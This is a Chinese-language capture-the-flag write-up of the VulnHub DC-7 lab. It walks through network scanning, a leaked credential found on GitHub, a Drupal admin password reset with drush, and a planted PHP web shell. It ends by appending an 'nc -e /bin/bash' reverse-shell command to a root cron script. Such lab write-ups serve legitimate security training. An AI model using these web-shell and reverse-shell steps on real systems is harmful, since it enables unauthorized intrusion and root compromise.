靶机入侵——DC7
1、环境搭建
下载地址:http://www.vulnhub.com/entry/dc-7,356/
下载后用 VMware 或者 VirtualBox 打开,并配置好网卡,靶机与攻击机应置于同一网络下,靶机默认是桥接模式,能用攻击机连接到就行。这里连接到虚拟网卡1。
2、信息收集
-
主机发现
使用nmap进行主机探测(-sP参数也可):nmap -sn 192.168.80.1/24
192.168.80.136 为靶机ip,也可以使用Kali中的arp-scan工具扫描:arp-scan 192.168.80.1/24 -
端口扫描
使用nmap扫描主机服务、端口情况(-p-等价于-p 1-65535):nmap -p- -A 192.168.80.136
发现开放了80、22端口 -
web端进一步信息收集
通过wappalyzer 插件我们收集到站点的cms、中间件、语言等信息
3、漏洞探测与利用
-
网站页面提示我们:不是技术性的?跳出框框去思考?
-
如果不能从框架上找突破口,且不是技术性的问题。那么可能是信息泄露,有时在实际项目中,目标可能使用一些开源项目,我们可以从GITHUB上找到突破口。我们注意到页面有“@DC7USER” ,这可能是项目作者id。我们在github上搜索一下。
-
果然我们找到了一些线索,继续查看我们发现config.php文件夹下存在账户信息:dc7user/MdR3xOgB7#dW
-
使用账户信息成功ssh登录
4、权限提升
-
尝试免密使用root级别命令和suid提权失败
-
查找本用户目录下有没有突破点
进入backups文件夹,发现两个文件,但都是以gpg结尾的,gpg命令是用来加密文件的,加密后的文件都是乱码。
发现在mbox中记录着root的定时任务,项目位置为/opt/scripts/backups.sh
-
查看一下/opt/scripts/backups.sh
-
如果这个文件可写,那么直接就可以反弹shell提权了。使用ls -l看一下权限,发现只有root和www-data可写。
-
这条路行不通,那仔细看一下backups.sh里面的命令
gpg命令是用来加密文件的,加密后的文件都是乱码
drush是一个简化了创建和管理Drupal8网站的命令行工具
-
查看drush,参考链接:https://zhuanlan.zhihu.com/p/60880048
-
进入/var/www/html,尝试修改www-data的密码
drush upwd admin --password="123456"
-
成功修改,登录网站后台
-
进入后台,寻找注入点。发现在Content => Add content =>Basic page处似乎可以写shell。
-
但没发现php代码选项。百度后知道Drupal 8后为了安全,需要将php单独作为一个模块导入。进入Extend => Install new module,输入php模块包的url:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
-
安装后,修改主页内容。插入一句话木马
-
蚁剑连接后,反弹shell。利用python获得交互式shell:python -c “import pty;pty.spawn(‘/bin/bash’)”
-
接下来我们利用root的定时任务进行提权。我们可以写个反弹shell的命令下去:
echo "nc -e /bin/bash 192.168.80.130 10087" >> /opt/scripts/backups.sh
- 等待定时任务启动,即可获得root权限。成功拿到flag